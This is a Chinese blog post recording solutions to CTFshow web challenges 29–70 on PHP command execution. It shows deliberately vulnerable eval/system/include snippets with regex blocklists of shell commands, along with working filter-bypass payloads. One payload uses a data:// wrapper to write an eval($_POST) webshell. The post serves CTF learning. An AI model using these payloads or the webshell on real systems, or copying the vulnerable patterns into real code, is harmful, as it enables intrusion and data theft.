最近和朋友一起入了ctf show的坑,在这里记录一下刷题过程以及从大佬那里学到的姿势。
1
命令执行
web29(通配符)
这题考察的知识点是通配符,这篇博客有具体的介绍:通配符和正则的区别。
例如构造: ?c=system('cat f*');
*
可以匹配 0 或多个字符,?
可以匹配任意一个字符。
cat f*
就可以打开当前目录下所有f开头的文件。
然后查看源码得到flag
web30(反引号执行系统命令)
这题过滤了flag、system、PHP
三个字符串,上一题的payload就不适用了。
可以利用反引号执行系统命令,如:
?c=echo `cat f*`;
?c=echo `cat f???????`;
web31
这题过滤的更多(包括空格):
<?PHP
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|PHP|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我是想不出有什么好用的办法了,参考hint和大佬的博客,payload1:
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
其中第二个姿势的解析:
①:print_r(scandir(dirname(__FILE__)));
查看当前目录下文件
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
找到flag.PHP③:
highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
最后高亮显示
payload2:
这里的姿势正常一些,都是针对过滤的绕过(师傅们tql)。
cat被过滤时
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
空格被过滤时
1. ${IFS}替换
2. $IFS$1替换
3. ${IFS替换
4. %20替换
5. <和<>重定向符替换
6. %09替换
7. 拼接(很强) 如:?ip=1;a=g;cat$IFS$1fla$a.PHP; (flag被过滤时)
大佬们的姿势:
?c=eval($_GET[1]);&1=system('nl flag.PHP');
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
?c=echo`strings%09f*`;
?c=echo`strings\$IFS\$9f*`必须加转义字符
?c=echo(`more%09f*`);
web32
在31题的基础上又过滤了
` ; echo (
分号可以用?>
绕过,括号用""
绕过,再配合$
和伪协议的姿势:
?c=include"$_GET[1]"?>&1=PHP://filter/read=convert.base64-
encode/resource=flag.PHP
试了一下发现不带这个双引号也行:
?c=include$_GET[1]?>&1=PHP://filter/read=convert.base64-
encode/resource=flag.PHP
执行后得到一串base64密文,解码得到flag
web33-36
33题把"
也过滤了
34题又多过滤了一个:
35题又过滤了=
和<
可以一把梭:
?c=include$_GET[1]?>&1=PHP://filter/read=convert.base64-
encode/resource=flag.PHP
36题多过滤了/
和数字,把1换成一个字母就行。
web37(data伪协议)
<?PHP
//flag in flag.PHP
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag,还进行了include文件包含,使用data伪协议。
1,写入一句话:
?c=data:text/plain,<?PHP fputs(fopen("shell.PHP","w"),"<?PHP eval(\$_POST['hack']);?>")?>
然后蚁剑连接即可(https://url/shell.PHP)
2,读取
?c=data:text/plain,<?PHP system('cat f*')?> #过滤了flag,这样构造相当于直接读取了flag.PHP
web38
这题把flag、file、PHP都过滤了,需要在37的姿势上变化一下。
(base64加密后)
data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源码得到flag
web39
过滤了flag,限制了后缀(.PHP)
姿势和37一样
?c=data:text/plain,<?PHP system('cat f*')?>
web40
好家伙,直接过滤一堆
<?PHP
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
web41(未解出)
web42
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这题可以直接
?c=ls;
?c=cat flag.PHP;
群主给的提示是cat flag.PHP%0a
,用%0a
让那后面那串东西无效。
web43
过滤了;
和cat
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题其实姿势挺多的,被过滤的cat
可以用很多其他命令替换,末尾再%0a
截断。
?c=nl flag.PHP%0a
?c=tac flag.PHP%0a
?c=more flag.PHP%0a
web44
在web43的基础上多过滤了一个flag
,只要在之前的payload基础上使用通配符即可。
?c=nl f*%0a
?c=tac f*%0a
?c=more f*%0a
web45
又多过滤了一个空格,参考web31中空格的绕过方法,把空格替换即可。
web46
过滤了;
、cat
、flag
、空格
、数字
、$
、*
。
payload:
?c=nl%09fla?????%0a
web47-49
payload
?c=nl%09fla?????%0a
web50
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
%09
和通配符不好使了,用重定向符<
或<>
替换%09
,用""
''
\
绕过对flag
的限制,也可以用 ||
代替%0a
(||默认前面前面执行成功就不执行后面)。
?c=nl<>fla''g.PHP%0a
?c=nl<>fla""g.PHP%0a
?c=nl<fla''g.PHP%0a
?c=nl<>fla''g.PHP||
?c=nl<>fla\g.PHP%0a
web51
payload同web50
web52
很多替换空格的字符被过滤了,但是$
没有被过滤,所以在web50的基础上把空格换成$IFS
即可
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
web53
少了一些限制,不需要在末尾进行命令分割了。
web54
<?PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
正则的过滤更加严格了
grep
grep test *file
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
payload1:
?c=grep${IFS}'{'${IFS}fl???PHP #查找含有{的文件,并打印出包含 { 的这一行
bin目录
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
payload2:
/bin/?at${IFS}f???????
web55-56
不会做,参考大佬博客:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
web57
这题是让我们在限制条件之下构造36这个数字。
<?PHP
//flag in 36.PHP
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".PHP");
}
}else{
highlight_file(__FILE__);
}
这里是学习的Y4大佬的思路,利用$(( ))与整数运算
。
$(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag
群主还给了另一种姿势:
?c=grep${IFS}'fla'${IFS}fla??PHP
web58-65(绕过disable_functions系列)
从58开始是绕过disable_functions系列
通用payload:
c=echo highlight_file('flag.PHP');
c=show_source("flag.PHP");
c=highlight_file("flag.PHP");
还可以用web31中的payload1里的姿势
web66-67
首先扫目录(web67中print_r被禁了,换成var_dump),发现有flag.txt
,然后:
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
web68-70
show_source
、highlight_file
、file_get_contents
等文本显示的代码基本都被禁了,所以换成include
、require
这些文件包含的,payload:
c=include('/flag.txt')
c=require_once('/flag.txt');
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。